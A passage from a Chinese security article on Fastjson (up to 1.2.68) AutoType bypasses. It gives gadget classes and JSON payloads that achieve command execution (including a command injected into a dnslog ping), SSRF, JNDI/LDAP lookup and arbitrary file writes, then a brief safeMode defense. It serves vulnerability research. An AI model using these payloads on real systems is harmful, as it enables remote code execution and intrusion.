            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
        } catch (IOException e) {
            e.printStackTrace();
        }
        return domain;
    }

    public void setDomain(String domain) {
        this.domain = domain;
    }

    @Override
    public void close() throws IOException {

    }
}

载荷构造:

package org.heptagram.fastjson;

import com.alibaba.fastjson.JSONObject;

public class AutoCloseableMain {
    public static void main(String[] args) {
        String payload ="{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\": \"org.heptagram.fastjson.ViaAutoCloseable\",\n" +
                "  \"domain\": \" wme8bg.dnslog.cn| calc\"\n" +
                "}";
        JSONObject.parseObject(payload);
    }
}

执行结果如下:
某json<=1.2.68 Autotype bypass -  Al1ex
在这里我们查看以下AutoCloseable类的继承关系,可以看到通过AutoCloseable来Bypass AutoType我们找寻Gadget的范围则变得更加宽广,常用的流操作、文件操作、socket等等都继承自AutoCloseable:
某json<=1.2.68 Autotype bypass -  Al1ex
在查阅相关资料的时候看到Y4er师傅在其文章中描述到FastJson在黑名单中新增的java.lang.Runnable、java.lang.Readable类也可以用于Bypass AutoType,下面是Y4er师傅提供的载荷:
A、Runnable:

package org.heptagram.fastjson;

import java.io.IOException;

public class ExecRunnable implements AutoCloseable {
    private EvalRunnable eval;

    public EvalRunnable getEval() {
        return eval;
    }

    public void setEval(EvalRunnable eval) {
        this.eval = eval;
    }

    @Override
    public void close() throws Exception {

    }
}

class EvalRunnable implements Runnable {
    private String cmd;

    public String getCmd() {
        System.out.println("EvalRunnable getCmd() "+cmd);
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
        return cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }

    @Override
    public void run() {

    }
}

执行载荷:

package org.heptagram.fastjson;

import com.alibaba.fastjson.JSONObject;

public class ExecRunnableMain {
    public static void main(String[] args) {
        String payload ="{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\": \"org.heptagram.fastjson.ExecRunnable\",\n" +
                "  \"eval\":{\"@type\":\"org.heptagram.fastjson.EvalRunnable\",\"cmd\":\"calc.exe\"}\n" +
                "}";
        JSONObject.parseObject(payload);
    }
}

执行结果:
某json<=1.2.68 Autotype bypass -  Al1ex
B、Readable:

package org.heptagram.fastjson;

import java.io.IOException;
import java.nio.CharBuffer;

public class ExecReadable implements AutoCloseable {
    private EvalReadable eval;

    public EvalReadable getEval() {
        return eval;
    }

    public void setEval(EvalReadable eval) {
        this.eval = eval;
    }

    @Override
    public void close() throws Exception {

    }
}

class EvalReadable implements Readable {
    private String cmd;

    public String getCmd() {
        System.out.println("EvalReadable getCmd() "+cmd);
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }

        return cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }

    @Override
    public int read(CharBuffer cb) throws IOException {
        return 0;
    }
}

攻击载荷:

package org.heptagram.fastjson;

import com.alibaba.fastjson.JSONObject;

public class ExecReadableMain {
    public static void main(String[] args) {
        String payload ="{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\": \"org.heptagram.fastjson.ExecReadable\",\n" +
                "  \"eval\":{\"@type\":\"org.heptagram.fastjson.EvalReadable\",\"cmd\":\"calc.exe\"}\n" +
                "}";
        JSONObject.parseObject(payload);
    }
}

执行结果:
某json<=1.2.68 Autotype bypass -  Al1ex
$ref拓展使用
在checkAutoType检查分析部分我们说道找寻合适的JNDI较为困难,其原因是大多数JNDI的gadget都继承自DataSource和RowSet,所以反序列化的类过不了checkAutoType的检查,那么JNDI注入真的就无法使用了吗?浅蓝师傅和threedr3am师傅给出了关于通过$ref引用功能来触发getter的方法,理论上我们可以通过这种方式实现RCE,而且还能够在不开启AutoType的情况下,任意调用大部分当前反序列化对象的getter方法,如果存在危险的method则可以进行攻击,下面我们分别来看一下具体的方法:
浅蓝师傅给出的示例(原来的基础上稍有变形):

package org.heptagram.fastjson;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import java.net.URL;

public class RefSSRF extends Exception {

    public RefSSRF() {
    }
    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }
    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }
}

执行载荷:

package org.heptagram.fastjson;

import com.alibaba.fastjson.JSON;

public class RefSSRFMain {
    public static void main(String[] args) {
        String a ="{\n" +
                "  \"@type\": \"java.lang.Exception\",\n" +
                "  \"@type\": \"org.heptagram.fastjson.RefSSRF\",\n" +
                "  \"dataSource\": {\n" +
                "    \"@type\": \"java.net.URL\",\n" +
                "    \"val\": \"http://127.0.0.1:4444/Exploit\"\n" +
                "  }\n" +
                "}";
        JSON.parseObject(a);
    }
}

执行之后可以看到有请求过来:
某json<=1.2.68 Autotype bypass -  Al1ex
这里我们对原理做一个简单的介绍:
可以看到载荷中一共传入了两个@type,其中第一个为java.lang.Exception,它是Throwable的继承类,而用于反序列化Throwable异常类的是ThrowableDeserializer,所以又进入到了之前的execeptClass部分,之后根据根据第二个@type的值来获取具体类,并且根据传入的指定期望类进行加载:
某json<=1.2.68 Autotype bypass -  Al1ex
之后在RefSSRF中将第二个@type的数值作为参数传入,同时注意到这里的setDataSource的参数是URL类型,在FastJSON中URL类型允许被反序列化,也就是说可以调用到setDataSource方法,并且实例化一个URLDataSource对象:
某json<=1.2.68 Autotype bypass -  Al1ex
如果我们要实现SSRF那么我们可以通过调用URLDataSource的getInputStream()方法来触发连接请求,而使用JSON.parseObject在解析JSON时默认就会调用getInstance()(在setXXX之后调用),从而实现SSRF:
某json<=1.2.68 Autotype bypass -  Al1ex
通过$ref引用功能,我们可以触发大部分getter方法,理论上当存在危险的method方法时我们可以通过此种方法在不开启AutoType的情况下来实现RCE,下面以threedr3am师傅提供的payload为例(代码部分取自Y4er师傅):

package org.heptagram.fastjson;

import com.alibaba.fastjson.JSON;
import org.apache.shiro.jndi.JndiLocator;
import org.apache.shiro.util.Factory;
import javax.naming.NamingException;

public class RefRCE  <T> extends JndiLocator implements Factory<T>, AutoCloseable {
    private String resourceName;

    public RefRCE() {
    }

    public T getInstance() {
        System.out.println(getClass().getName() + ".getInstance() invoke.");
        try {
            return (T) this.lookup(this.resourceName);
        } catch (NamingException var3) {
            throw new IllegalStateException("Unable to look up with jndi name '" + this.resourceName + "'.", var3);
        }
    }

    public String getResourceName() {
        System.out.println(getClass().getName() + ".getResourceName() invoke.");
        return this.resourceName;
    }

    public void setResourceName(String resourceName) {
        System.out.println(getClass().getName() + ".setResourceName() invoke.");
        this.resourceName = resourceName;
    }

    @Override
    public void close() throws Exception {
    }
}

载荷部分:

package org.heptagram.fastjson;

import com.alibaba.fastjson.JSON;

public class RefRCEMain {
    public static void main(String[] args) {
        String json = "{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\": \"org.heptagram.fastjson.RefRCE\",\n" +
                "  \"resourceName\": \"ldap://localhost:1099/Exploit\",\n" +
                "  \"instance\": {\n" +
                "    \"$ref\": \"$.instance\"\n" +
                "  }\n" +
                "}";
        System.out.println(json);
        JSON.parse(json);

    }
}

执行结果:

文件相关操作

Gadget寻找思路(浅蓝师傅提供):

  • 通过set方法或构造方法指定文件路径的OutputStream
  • 通过set方法或构造方法传入字节数据的OutputStream,并且可以通过set方法或构造方法传入一个OutputStream,最后可以通过 write方法将传入的字节码write到传入的OutputStream
  • 需要一个通过set方法或构造方法传入一个OutputStream,并且可以通过调用toString、hashCode、get、set、构造方法调用传入的 OutputStream的flush方法
    下面是个网络上公开的一个Gadget,目前只适用于JDK11版本:
    ```java
    $ echo -ne "RMB122 is here" | openssl zlib | base64 -w 0
    eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==

$ echo -ne "RMB122 is here" | openssl zlib | wc -c
22

载荷如何:
```java
{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':
            {
                'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
                'limit':22
            }
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

测试载荷:

package org.heptagram.fastjson;

import com.alibaba.fastjson.JSON;
import java.io.IOException;

public class FileWrite {
    public static void main(String[] args) throws IOException {
        String json = "{\n" +
                "  '@type': \"java.lang.AutoCloseable\",\n" +
                "  '@type': 'sun.rmi.server.MarshalOutputStream',\n" +
                "  'out': {\n" +
                "    '@type': 'java.util.zip.InflaterOutputStream',\n" +
                "    'out': {\n" +
                "      '@type': 'java.io.FileOutputStream',\n" +
                "      'file': 'e:/filewrite.txt',\n" +
                "      'append': false\n" +
                "    },\n" +
                "    'infl': {\n" +
                "      'input': {\n" +
                "        'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',\n" +
                "        'limit': 22\n" +
                "      }\n" +
                "    },\n" +
                "    'bufLen': 1048576\n" +
                "  },\n" +
                "  'protocolVersion': 1\n" +
                "}";
        JSON.parse(json);
    }
}

执行结果:

防御措施

开启safeMode

ParserConfig.getGlobalInstance().setSafeMode(true);

参考链接

https://b1ue.cn/archives/348.html
https://b1ue.cn/archives/382.html
https://y4er.com/post/fastjson-bypass-autotype-1268/
https://www.kingkk.com/2020/06/%E6%B5%85%E8%B0%88%E4%B8%8BFastjson%E7%9A%84autotype%E7%BB%95%E8%BF%87/
https://github.com/threedr3am/learnjavabug/blob/96f81b85bab45453d8c29465225b51f3900148f3/fastjson/src/main/java/com/threedr3am/bug/fastjson/file/FileWriteBypassAutoType1_2_68.java
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:26:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某json<=1.2.68 Autotype bypass - Al1exhttps://cn-sec.com/archives/711544.html

发表评论

匿名网友 填写信息